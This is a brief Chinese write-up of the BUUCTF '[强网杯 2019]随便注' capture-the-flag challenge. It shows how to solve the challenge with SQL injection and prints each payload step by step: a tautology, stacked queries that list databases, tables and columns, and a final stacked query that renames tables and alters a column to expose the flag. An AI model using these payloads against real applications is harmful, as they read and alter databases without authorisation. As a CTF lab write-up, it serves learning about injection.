Buuctf-web-[强网杯 2019]随便注
首先用1' or 1=1# 提交,可以把表中数据都查询出来,但没有我们需要的东西。
想尝试用联合查询1' union select 1,2
发现被过滤了很多。
然后查询数据库1';show databases;#
然后查询表1';show tables;#
查询words中的列1';show columns from words;#
发现words中有 id 和 data,查询1919810931114514表中所有列(字符串为表名操作时要加反单引号)
1';show columns from `1919810931114514`;#
发现flag
这道题没有禁用rename和alter,所以我们可以采用修改表结构的方法来得到flag将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
表已经被改变
再开始刚才的操作,就能查到了
flag{061fcc47-cc4e-4522-aff8-08bb73f8aed5}